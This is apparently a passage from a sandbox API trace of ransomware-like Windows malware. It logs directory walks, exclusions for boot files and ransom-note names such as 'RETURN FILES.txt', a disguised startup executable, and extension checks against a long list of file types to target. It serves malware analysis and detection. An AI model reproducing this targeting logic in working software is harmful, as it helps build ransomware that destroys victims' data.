	[0040.289] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0040.289] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0040.289] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0040.289] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0040.289] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0040.289] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0040.289] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0040.289] lstrcmpiW (lpString1="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0040.289] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0040.289] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0040.289] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0040.289] lstrlenW (lpString=".1cd") returned 4
	[0040.289] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".3ds") returned 4
	[0040.290] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".3fr") returned 4
	[0040.290] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".3g2") returned 4
	[0040.290] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".3gp") returned 4
	[0040.290] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".7z") returned 3
	[0040.290] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0040.290] lstrlenW (lpString=".accda") returned 6
	[0040.290] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1
	[0040.290] lstrlenW (lpString=".accdb") returned 6
	[0040.290] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1
	[0040.290] lstrlenW (lpString=".accdc") returned 6
	[0040.290] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1
	[0040.290] lstrlenW (lpString=".accde") returned 6
	[0040.290] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1
	[0040.290] lstrlenW (lpString=".accdt") returned 6
	[0040.290] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1
	[0040.290] lstrlenW (lpString=".accdw") returned 6
	[0040.290] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1
	[0040.290] lstrlenW (lpString=".adb") returned 4
	[0040.290] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".adp") returned 4
	[0040.290] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".ai") returned 3
	[0040.290] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0040.290] lstrlenW (lpString=".ai3") returned 4
	[0040.290] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".ai4") returned 4
	[0040.290] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".ai5") returned 4
	[0040.290] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".ai6") returned 4
	[0040.290] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".ai7") returned 4
	[0040.290] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0040.290] lstrlenW (lpString=".ai8") returned 4
	[0040.290] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".anim") returned 5
	[0040.291] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1
	[0040.291] lstrlenW (lpString=".arw") returned 4
	[0040.291] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".as") returned 3
	[0040.291] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0040.291] lstrlenW (lpString=".asa") returned 4
	[0040.291] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".asc") returned 4
	[0040.291] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".ascx") returned 5
	[0040.291] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1
	[0040.291] lstrlenW (lpString=".asm") returned 4
	[0040.291] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".asmx") returned 5
	[0040.291] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1
	[0040.291] lstrlenW (lpString=".asp") returned 4
	[0040.291] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".aspx") returned 5
	[0040.291] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1
	[0040.291] lstrlenW (lpString=".asr") returned 4
	[0040.291] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".asx") returned 4
	[0040.291] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".avi") returned 4
	[0040.291] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".avs") returned 4
	[0040.291] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".backup") returned 7
	[0040.291] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1
	[0040.291] lstrlenW (lpString=".bak") returned 4
	[0040.291] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".bay") returned 4
	[0040.291] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".bd") returned 3
	[0040.291] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0040.291] lstrlenW (lpString=".bin") returned 4
	[0040.291] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0040.291] lstrlenW (lpString=".bmp") returned 4
	[0040.292] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".bz2") returned 4
	[0040.292] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".c") returned 2
	[0040.292] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0040.292] lstrlenW (lpString=".cdr") returned 4
	[0040.292] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".cer") returned 4
	[0040.292] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".cf") returned 3
	[0040.292] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0040.292] lstrlenW (lpString=".cfc") returned 4
	[0040.292] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".cfm") returned 4
	[0040.292] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".cfml") returned 5
	[0040.292] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1
	[0040.292] lstrlenW (lpString=".cfu") returned 4
	[0040.292] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".chm") returned 4
	[0040.292] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".cin") returned 4
	[0040.292] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".class") returned 6
	[0040.292] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1
	[0040.292] lstrlenW (lpString=".clx") returned 4
	[0040.292] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".config") returned 7
	[0040.292] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1
	[0040.292] lstrlenW (lpString=".cpp") returned 4
	[0040.292] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".cr2") returned 4
	[0040.292] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".crt") returned 4
	[0040.292] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".crw") returned 4
	[0040.292] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0040.292] lstrlenW (lpString=".cs") returned 3
	[0040.292] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0040.293] lstrlenW (lpString=".css") returned 4
	[0040.293] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".csv") returned 4
	[0040.293] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".cub") returned 4
	[0040.293] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dae") returned 4
	[0040.293] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dat") returned 4
	[0040.293] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".db") returned 3
	[0040.293] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0040.293] lstrlenW (lpString=".dbf") returned 4
	[0040.293] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dbx") returned 4
	[0040.293] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dc3") returned 4
	[0040.293] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dcm") returned 4
	[0040.293] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dcr") returned 4
	[0040.293] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".der") returned 4
	[0040.293] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dib") returned 4
	[0040.293] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dic") returned 4
	[0040.293] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".dif") returned 4
	[0040.293] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".divx") returned 5
	[0040.293] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1
	[0040.293] lstrlenW (lpString=".djvu") returned 5
	[0040.293] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1
	[0040.293] lstrlenW (lpString=".dng") returned 4
	[0040.293] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".doc") returned 4
	[0040.293] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0040.293] lstrlenW (lpString=".docm") returned 5
	[0040.293] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1
	[0040.294] lstrlenW (lpString=".docx") returned 5
	[0040.294] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0040.294] lstrlenW (lpString=".dot") returned 4
	[0040.294] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0040.294] lstrlenW (lpString=".dotm") returned 5
	[0040.294] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1
	[0040.294] lstrlenW (lpString=".dotx") returned 5
	[0040.294] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1
	[0040.294] lstrlenW (lpString=".dpx") returned 4
	[0040.294] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0040.294] lstrlenW (lpString=".dqy") returned 4
	[0040.294] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0040.294] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0040.294] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0040.294] FindClose (in: hFindFile=0x742db0 | out: hFindFile=0x742db0) returned 1
	[0040.295] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0040.295] FindNextFileW (in: hFindFile=0x66aa70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0040.295] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x4290050
	[0040.295] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7431b0
	[0040.681] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.681] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0040.681] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0040.681] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0040.681] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0040.682] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0040.682] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0040.682] FindClose (in: hFindFile=0x7431b0 | out: hFindFile=0x7431b0) returned 1
	[0040.682] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0040.682] FindNextFileW (in: hFindFile=0x66aa70, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0040.682] FindClose (in: hFindFile=0x66aa70 | out: hFindFile=0x66aa70) returned 1
	[0040.683] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3b30728 | out: hHeap=0x650000) returned 1
	[0040.684] FindNextFileW (in: hFindFile=0x66a4b0, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0040.684] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x3b30728
	[0040.684] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x742db0
	[0040.841] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0040.841] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0040.841] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x4290050
	[0040.993] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742f70
	[0040.993] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.993] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0040.994] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0040.994] FindClose (in: hFindFile=0x742f70 | out: hFindFile=0x742f70) returned 1
	[0040.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0040.994] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0040.994] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x4290050
	[0040.994] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742eb0
	[0040.994] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
